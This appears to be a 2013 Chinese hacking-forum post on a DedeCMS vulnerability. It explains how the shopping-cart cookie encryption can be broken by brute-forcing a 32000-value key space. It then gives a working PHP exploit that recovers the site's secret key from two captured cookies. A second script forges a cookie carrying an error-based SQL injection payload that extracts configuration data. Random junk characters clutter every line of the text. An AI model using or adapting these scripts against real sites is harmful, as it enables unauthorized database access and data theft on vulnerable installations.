找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2125|回复: 0
打印 上一主题 下一主题

织梦CMS漏洞dedecms漏洞SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-13 23:58:29 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
www.xxx.com/plus/search.php?keyword=
9 s# ]# g2 ~! ?) Q5 U; ?$ c在 include/shopcar.class.php中$ d* D2 y2 o. N/ ~* p3 Q
先看一下这个shopcar类是如何生成cookie的1 h0 A4 o% j, i) T0 K7 H
239      function saveCookie($key,$value)3 y8 E7 t9 S. x: Q0 |% y8 I  U
240      {
, }: U# G1 n& _8 h3 G241          if(is_array($value))
) t' A/ n7 G, ^6 \8 @% r/ j+ k! J242          {
+ g) y! h9 h: {; N. h: C& G: ~243              $value = $this->enCrypt($this->enCode($value));4 r( ^( v5 P7 v& m1 E
244          }& L% z: D" y- [
245          else
: }: W' ]* _8 O# K246          {
. Z7 c8 y9 |3 Y& Z) E0 c247              $value = $this->enCrypt($value);
) l" w5 p' _: J, v0 [248          }
- K% L) C( a1 J* W& v249          setcookie($key,$value,time()+36000,’/');
0 j& e2 V& o/ z3 f250      }
3 p: w( F0 {$ {/ _* o简单的说,$key就是cookie的key,value就是value,enCode的作用是将array类型转变为a=yy&b=cc&d=know这样的类型,关键是enCrypt函数
1 s; U. f3 |7 U/ C" ?' _186      function enCrypt($txt)
- @7 G1 X6 |. n8 f1 p7 }8 R; q187      {
% ^+ D& t' C! i  e. Z188          srand((double)microtime() * 1000000);! t2 p9 c3 a! B7 ~, |6 g6 a) c/ ~
189          $encrypt_key = md5(rand(0, 32000));* p' E, P+ ?: c
190          $ctr = 0;
* B9 b+ k- b; a; L# m) \191          $tmp = ”;9 K& q0 J& e% U& {' A
192          for($i = 0; $i < strlen($txt); $i++)
- p& D- j) p# b7 s193          {2 n$ c6 v7 F) Z7 [
194              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;3 x  T* S# Z0 F5 D7 Y) j4 T3 v4 P
195              $tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
+ p6 q6 t. u& F5 j  P( [. x* x, U196          }
8 z+ u/ V% n! X: z! u2 P0 M197          return base64_encode($this->setKey($tmp));; g, g% ^  k! Q' K% x
198      }
5 ^! l+ l/ [, o213      function setKey($txt)
& N. h4 V( W7 X  h- L2 C$ ^214      {
3 d8 H7 [/ l- w' H6 K215          global $cfg_cookie_encode;% M! }% `! i6 S5 n% O
216          $encrypt_key = md5(strtolower($cfg_cookie_encode));
# q2 G% y& _% l6 F2 a5 V' l217          $ctr = 0;
0 Q# `; H+ l& P" o- B218          $tmp = ”;
: ^/ `. x& ^" y4 N" W" ^; {9 d219          for($i = 0; $i < strlen($txt); $i++)/ x( ?9 d' U/ d$ S$ k
220          {
, |2 a; O1 V: L; R2 y221              $ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;0 h4 s+ A$ [9 `% P; L
222              $tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
/ K' {9 E2 f( e* v8 Z223          }) A0 F2 v% M1 e$ r9 f' H
224          return $tmp;
/ i6 R3 W" L9 u$ J) \* N225      }
" ]% C0 w* S7 O" A, i' QenCrypt的参数$txt 我们是可知的,返回值就是cookie的值,这个我们也是可知的
% L' R! |% K, ]8 P0 ~8 n然后到了enCrypt调用 setKey时的参数$tmp,这个参数在某种意义上,我们也是可知的,因为$encrypt_key = md5(rand(0, 32000));只有32000种可能,我们可以推出32000种可能的$tmp,从而推出32000种可能的md5(strtolower($cfg_cookie_encode)),对了,忘记说了,我们的目的是推测出setKey中$encrypt_key的值,然后才能任意构造出购物车的cookie,从推出的32000种md5(strtolower($cfg_cookie_encode)),简单过滤掉非字母数字的key,就只剩下几百个可能的key,然后我们再从新下一次订单,然后再获取几百个可能的key,然后取交集,得到最终key。
8 N9 O( l2 z8 q/ e4 ?具体代码如下:: I( {% u% G' a# |1 H
<?php' g2 ?# l, g9 N1 J; l+ h: _
$cookie1 = “X2lRPFNlCmlWc1cvAHNXMABjAToHbVcyB3ZXJFIwA20LIAlzU2ULPARyAmQGIVU5VyJbfFVsBiYNN1dsUG0DIl90UTFTLAo3VjBXYgBvVzgAZAEqBz9XagclVzBSbw==”; // here is the first cookie,change here* k$ e7 L; f% v" v/ N3 N
$cookie2 = “ADYCb1RiBmUDJghwUyAFYlIxW2BROwhtVCUIe1AyC2UOJVMpADYBNgJ0AmRUcw5iAncAJ1JrCSlQalBrAj8CIwArAmJUKwY7A2UIPVM8BWpSNltwUWkINVR2CG9QbQ==”; // here is the second cookie ,change here7 E6 D2 `, Y! z) n+ ?
$plantxt = “id=2&price=0&units=fun&buynum=1&title=naduohua1″; // here is the text , change here
4 K: J& P$ F" [' I* D/ X% @2 Z+ y, ^function reStrCode($code,$string)
& c/ |3 u) b& {( J& b{6 V1 P/ c8 J1 ^9 B) G: X3 f' ]) r8 O
$code = base64_decode($code);
( J' D( |8 y; W: T) N( d5 m$key = “”;: E; S1 X- _! Q
for($i=0 ; $i<32 ; $i++)7 b4 a- T0 k3 e* C5 B7 E2 S( x
{
9 j1 J1 e% F" \% T# k! p$key .= $string[$i] ^ $code[$i];
( S( S7 G2 i9 t+ N3 t}
4 p5 s8 D3 s5 ?: H' I  _4 o, ]return $key;1 q4 F5 o% P& P
}
& ?$ `" z  W/ ?+ E! Xfunction getKeys($cookie,$plantxt)# z1 E8 p) }& u2 A" P0 l
{
) W0 |/ ]# {; V+ q3 V$tmp = $cookie;
' t, |& e. a1 \$results = array();
2 i* |7 b8 l0 N7 i7 i6 J9 R, mfor($j=0 ; $j < 32000; $j++)( o1 U# [- s  Y: ]
{+ E0 l3 v$ D5 e, {! k8 _" Q2 \

7 l4 y  E# s; _6 x8 V$txt = $plantxt;
1 b5 G/ g9 u( Z- W2 Z4 U3 E. _$ctr = 0;( O. Y  d3 O) ?7 D
$tmp = ”;4 L1 s. ]- F- x# K
$encrypt_key = md5($j);
$ W- M, w" _; C0 S4 I' G3 Wfor($i =0; $i < strlen($txt); $i ++)
6 |, ]1 g. A4 t- ~{+ d$ ~7 |' z' q0 ~% q) G
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;- p# l% [" v" ?5 ]. e3 p( @) I
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
% f6 i& {" m+ _! K9 j9 Z}
. n( K9 Y) _5 n& V" o$string = $tmp;- ~& {' a4 Z  N6 f
$code = $cookie;2 E9 o' Q& v5 Y2 A
$result = reStrCode($code,$string);
9 E' i* E' X  W! `if(eregi(‘^[a-z0-9]+$’,$result))' ?  b7 P3 ]% Z  n) O  g
{! S1 O0 M! A( Q3 L
echo $result.”\n”;
+ t6 C% z# o' f! C$results[] = $result;# t. {) Z) [4 T' D- k
}% u: a; b- ?# o: p
}
4 u7 k+ P: O# D  U6 F. mreturn $results;/ ]/ K- r0 m: }
}
! A& @& a& ^" r8 H8 t( x7 \, i$results1 = getKeys($cookie1,$plantxt);
7 F: o3 T+ u, j* e3 \$results2 = getKeys($cookie2,$plantxt);6 N. A6 j2 x3 t! Y
print “\n——————–real key————————–\n”;
) V) D! o6 d5 \1 F8 ?2 W- yforeach($results1 as $test1)2 i5 P8 D  p( @" f
{8 G# _  P3 n5 {1 C6 h  x
foreach($results2 as $test2)
# [' M' r* }3 m3 k( |3 f0 K{
! F/ k: ^9 F  {/ ?if($test1 == $test2)
2 c5 P; Z8 J0 d: Z3 u3 w4 |" P; T{
4 P: H  ]5 Y. N0 ^+ e* q, z: kecho $test1.”\n”;
& J/ o* L5 {# P: d. R. A/ u}- ^! }0 E! c9 t& w, A1 j9 ^$ s
}
/ B# u# U  w( W$ N0 S' F- g}7 h# J& _& N0 I
?>
5 x$ ~' S9 k2 `- Z5 B; Scookie1 和 cookie2 是我下了两次订单后分别生成的cookie,
4 @$ C( e6 }" m% Z; Y8 pplantxt可以根据页面来自己推算,大概就是这个格式:id=2&price=0&units=fun&buynum=1&title=naduohua1
: J0 K6 O7 S( H然后推算出md5(strtolower($cfg_cookie_encode))
: O3 U3 q$ r) s" ]得到这个key之后,我们就可以构造任意购物车的cookie* ]# E: q: M% Y) L1 C2 |
接着看
) L  @9 ?& {/ G  S! V/ A2 r. W) ^20  class MemberShops, ?( s9 t0 p7 t% ~6 t+ u
21  {
# E0 z* Z1 s/ U! z8 i% M% q( d22      var $OrdersId;4 t: n" w. K* n4 c: p+ o) b) K/ D
23      var $productsId;
% F( x1 n9 k) ?# F+ a4 }; v24
4 f# g$ k- M1 h/ N25      function __construct()
! y$ A) R' V9 ~' s" O/ \26      {
0 A& B$ B$ Y2 Q0 q8 F8 i7 U27          $this->OrdersId = $this->getCookie(“OrdersId”);! d9 l* I" w: {4 @2 [
28          if(empty($this->OrdersId))5 q. p- U+ x6 ?5 [* @
29          {
! b% Q2 d7 k" h) y( K4 |30              $this->OrdersId = $this->MakeOrders();
/ X& n& [3 [3 Z; p  l; |- m31          }' M, C: [$ j$ n) o  D
32      }4 t3 u. k: M  X! p, A8 ^2 R8 Y$ p
发现OrderId是从cookie里面获取的, }/ Y) J; F% I. X) Q: ]
然后# U! Z6 f9 f0 R
/plus/carbuyaction.php中的+ p0 Y/ W9 o2 }; O& @
29      $cart    = new MemberShops();
# O6 f, n5 U% b2 M39      $OrdersId = $cart->OrdersId;        //本次记录的订单号- U" m/ ]1 N1 [6 b, z- x
……, Y4 k) Y& C  ]% ?" y
173          $rows = $dsql->GetOne(“SELECT `oid` FROM #@__shops_orders WHERE oid=’$OrdersId’ LIMIT 0,1″);
5 F3 N9 P- S  U4 Y7 I. f- y接着我们就可以注入了
. j3 ^/ q* ~" ]* K* Q通过利用下面代码生成cookie:) }! r6 t# A1 V# P" S6 c5 o& C# |
<?php
: K: p. i/ K9 I, y) A- v- W$txt = “1′ or 1=@`\’` and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select value from #@__sysconfig where aid=3),1,62)))a from information_schema.tables group by a)b) or 1=@`\’` or ’1′=’1″;
& o, ~" N6 e0 B+ N0 v$encrypt_key = “9f09293b7419ed68448fb51d5b174834″;   // here is the key, please change here- \6 p& i. S$ ?  \
function setKey($txt)
/ m/ e  O. @+ G3 o{
0 M" ]9 {8 f$ t6 P' i3 Tglobal $encrypt_key;" f8 w& P9 r8 ]1 h& w
$ctr = 0;) r2 F5 {) c  e* F' ]. r: p' B5 {
$tmp = ”;5 T0 e- b& M0 S4 ^0 e
for($i = 0; $i < strlen($txt); $i++)! w) N4 y! \) S
{
# }, K9 A. l$ G2 k$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
8 t* f( M; Y% a, A0 r6 v, o* {  `/ f$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];. Z: \' R5 O& d2 Y
}, m( i5 l& }- n% l; t9 ?
return $tmp;
* q5 e2 _, s! q- b: }; Q}) Y/ m0 {# S/ K/ p) j
function enCrypt($txt)/ D! b+ f+ Y; D3 I
{) }! D# j6 v4 i" w4 M  _$ ~0 L
srand((double)microtime() * 1000000);
- F5 D. q: H$ }: M2 m$encrypt_key = md5(rand(0, 32000));- D* u$ Z0 W4 D5 m  |
$ctr = 0;
6 u& ~6 L9 n0 N" F2 d5 |2 l: H$tmp = ”;: R: d' s" |: {+ Z  ]9 L
for($i = 0; $i < strlen($txt); $i++). [( r! X, E7 W& f
{
2 k1 a; n8 a6 ?$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;! Y# R, J9 b& T1 o, q! ^
$tmp .= $encrypt_key[$ctr].($txt[$i] ^ $encrypt_key[$ctr++]);
4 y" R4 r, P+ T1 m6 v8 m}1 j3 F" s' {, ^7 f' d6 B
return base64_encode(setKey($tmp));
) N4 F! F, b) w6 T5 S: ]. B}
9 D/ I0 U( p' f+ z# sfor($dest =0;$dest = enCrypt($txt);)1 q# w+ H" b# [& Q7 x
{: j# P, M- P( I' J3 w! k
if(!strpos($dest,’+'))
7 U9 G/ r9 s7 J# N2 d4 I& g  q{
/ K% u8 z3 I, s( Ebreak;# D& s4 q' J; M
}3 Q% b$ B7 c0 v$ A/ B
}) |+ [& A  a/ s  P$ ~; i. M
echo $dest.”\n”;
" R- E4 K4 o  q$ C; U& Q?>
/ T8 T+ F. J% d& L0 w  e* W! s
) x& z. ?/ ?( _2 O1 K* N" E
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表